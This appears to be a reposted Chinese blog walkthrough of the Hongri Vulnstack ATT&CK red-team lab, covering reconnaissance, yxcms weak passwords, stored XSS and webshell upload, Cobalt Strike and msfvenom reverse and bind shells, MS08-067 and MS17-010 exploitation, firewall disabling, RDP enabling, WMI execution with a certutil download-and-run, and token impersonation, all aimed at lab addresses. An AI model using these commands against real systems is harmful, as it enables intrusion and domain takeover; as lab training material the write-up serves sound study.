ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程

ATT&CK红队评估实战靶场(一)

0x01 前言

本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019

0x02 环境搭建

WEB服务器:windows7系统

外网网卡IP:192.168.31.59
内网网卡IP:192.168.52.143

域成员:windows server 2003系统

网卡IP:192.168.52.141

域控服务器:windows server 2008系统

网卡IP:192.168.52.138

攻击机器:kali 2020.2

kali IP:192.168.31.198

宿主机IP:windows 10系统

IP:192.168.31.105

安装CobaltStrike服务器

IP:192.168.31.198

3.1. 信息收集

3.1.1 主机探测

netdiscover -i eth0 -r 192.168.1.0/24

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第1张图片

3.1.2 端口扫描

发现IP 192.168.31.59,使用nmap探测端口开放情况(注意需要现在win7主机运行PhpStudy)

nmap -sC -v -n -sV -Pn -p 1-65535 192.168.31.59

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第2张图片

发现80端口开启,访问页面http://192.168.31.59/发现页面如下,存在大量信息泄露,收集有效信息。

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第3张图片

3.1.3 目录扫描

使用御剑目录扫描工具开展漏洞扫描

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第4张图片
发现网站备份文件和phpadmin后台管理界面
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第5张图片
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第6张图片
打开备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms

访问http://192.168.1.102/yxcms进入网站首页
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第7张图片

3.2. 漏洞利用

3.2.1 漏洞发现

3.2.1.1 漏洞一:信息泄露+弱口令

网站泄露后台地址和用户密码,且用户密码为弱口令

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第8张图片
成功登录网站后台界面
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第9张图片

3.2.1.2 漏洞二:PhpMyAdmin弱口令

发现使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第10张图片

3.2.1.3 漏洞三:yxcms留言本XSS存储型漏洞

前台提交带有XSS代码的留言
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第11张图片
后台审核成功弹出XSS弹窗
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第12张图片
审核通过之后,前台同样成功弹窗
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第13张图片

可通过该漏洞获取管理员cookie或者诱导管理员点击执行某恶意代码

3.2.1.4 漏洞四:yxcms后台任意文件读写漏洞

在后台创建新模板模块创建内容为一句话的新模板

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第14张图片

通过前面的备份文件可知文件保存的目录http://192.168.31.59/yxcms/protected/apps/default/view/default/hacker.php

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第15张图片

使用蚁剑成功连接shell
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第16张图片

3.2.1.5 漏洞五:yxcms后台SQL注入漏洞

在后台的碎片列表中进行删除操作,删除碎片ID可能存在盲注漏洞,使用dnslog获取SQL注入得到数据。

yxcms漏洞代码原理解析参考文章https://www.freebuf.com/column/162886.html

3.2.1.6 漏洞六:PhpMyAdmin开启全局日志getshell

3.3 CS上线GetShell

CS服务端都部署在192.168.31.198 kali主机上,客户端部署在windows10真机上

服务端 (这里地址变动了一下,后面改了)当成.198就行

nohup ./teamserver IP 密码 &

在这里插入图片描述

创建监听并生成powershell

木马
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第17张图片
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第18张图片

然后拷贝到靶机启动

getshell
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第19张图片

提权成功
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第20张图片

3.4 系统信息收集

查看网卡
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第21张图片

发现内网ip地址192.168.31.593和域god.org,查看域信息

net group /domain  #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户

本机计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA

3.5 主机密码收集

获取系统用户名和密码
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第22张图片

3.6 远程桌面登录

远程开启3389端口并关闭防火墙

注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

在这里插入图片描述

这个时候防火墙是开启,我们需要关闭防火墙,使用域用户god\administrator/hongrisec@2020成功登录这一台win7WEB主机

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第23张图片

0x04 内网信息收集

4.1 域信息收集

4.5 内网漏洞扫描

0x05 横向渗透

5.1 MSF反弹shell

这里我们使用Kali的msf先反弹一个shell

#生成反弹shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=4444 -f raw > shell.php

#在本机中设置监听

msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.31.198
set lport 4444
run

然后使用蚁剑上传shell.php,并访问

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第24张图片
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第25张图片

5.2 内网流量转发(proxychains)

成功获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.52.0/24网段

#查看路由信息
run get_local_subnets
#添加一条路由
run autoroute -s 192.168.52.0/24

查看路由信息
run autoroute -p

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第26张图片

5.2.1 MSF+proxychains

添加socks4代理服务器

使用msf的socks4代理模块

use auxiliary/server/socks4a
set srvhost 192.168.31.198
run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第27张图片

文本编辑器修改etc/proxychains.conf,在最后一行加上socks4代理服务器

vi /etc/proxychains.conf

在这里插入图片描述

proxychains代理nmap扫描
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第28张图片

5.2.2 CS+proxychains

添加socks4代理服务器

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第29张图片

这里是SOCKS代理运行的端口,任意输入一个未占用的端口即可,或者默认CS会给出一个,我们直接点击开始即可

这里我选的11111端口
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第30张图片
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第31张图片
查看代理
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第32张图片
kali 文本编辑器修改etc/proxychains.conf,在最后一行加上socks4代理服务器

vi /etc/proxychains.conf

踩坑:这里代理ip是kali的地址,因为cs服务端是在kali 不是客户端 真机win10,虽然代理端口是在客户端win10加的
在这里插入图片描述

proxychains代理nmap扫描
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第33张图片

5.3 MS08-067 搭配Bind TCP

由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听,两者区别如下:
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第34张图片

msf

use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第35张图片

成功获取域成员192.168.1.141的shell
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第36张图片

5.4 MS17-010获取域控服务器

nmap 扫描 域控 192.168.52.138 有ms17-010漏洞

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第37张图片
msf的scan

msf5 auxiliary(server/socks4a) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.52.141 192.168.52.138
rhost => 192.168.52.141 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第38张图片

我们同样可以使用MS17-010获取域服务器和域控服务器权限,这里我们直接攻击域控服务器

使用exploit/windows/smb/ms17_010_eternalblue攻击流程如下:

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.52.138
run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第39张图片
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第40张图片

获取失败

然后后面发现 没有设置 payload 重新尝试

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp   这里设置正向 攻击机主动通过代理连接域控 因为域控连接不了外网,不能使用reverse_tcp
set rhost 192.168.52.138
run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第41张图片

成功
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第42张图片
使用psexec 失败 贴上过程

msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/blind_tcp
[-] The value specified for payload is not valid.
msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/ms17_010_psexec) > run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第43张图片

无法有效获取会话

方法三 先使用ms17010命令执行 关闭防火墙,否则无法弹回shell

msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhost 192.168.31.138
rhost => 192.168.31.138
msf5 auxiliary(admin/smb/ms17_010_command) > set COMMAND netsh advfirewall set allprofiles state off
COMMAND => netsh advfirewall set allprofiles state off
msf5 auxiliary(admin/smb/ms17_010_command) > run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第44张图片

依旧失败
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第45张图片

5.5 WMI获取域控服务器

上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行

cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 991118Sy "whoami"

或者直接使用之前上传的Ladom工具执行ladom wmiexec 192.168.52.138 administrator 991118Sy whoami
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第46张图片

同上面的过程一样,我们需要获取一个正向的msf连接,过程如下:

首先生成一个正向的exe文件放到win7的网站目录

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.31.198 LPORT=6666 -f exe > 6666.exe

在这里插入图片描述

win7网站目录
ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第47张图片

在win7上使用WMI执行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe

cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 991118Sy "certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe" 

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第48张图片

成功执行,这时候 我们已经 在138机器(DC—win2008)上开启6666端口监听
先在msf中开启代理 端口设置5001

use auxiliary/server/socks5
set srvport 5001
run

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第49张图片

在开个窗口 kali代理

vi /etc/proxychains.conf

在这里插入图片描述

msf启动监听

msf5 auxiliary(server/socks5) > use exploit/multi/handler
[*] Using configured payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run

在这里插入图片描述

getsystem   直接提权

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第50张图片

假冒令牌
use incognito
list_tokens -u

ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程_第51张图片

接下来在incognito中调用impersonate_token命令假冒root用户进行攻击
这里我们解释下(我们看到有俩种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登陆
还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量取决于meterpreter shell的访问级别)

知识点:在输入hostname\username中需要加俩个反斜杠(\\\)
运行成功后在meterpreter shell下运行shell命令并输入whoami ,就可以看见我们现在就是假冒的系统管理员了.

0x06 后记

获取域控权限的方法还有好多,向pth攻击、横向哈希传递、redis,还有使用CVE-2018-8120来提权,票据加计划任务获取DC略

你可能感兴趣的:(自然语言处理,安全,web安全,安全架构,系统安全)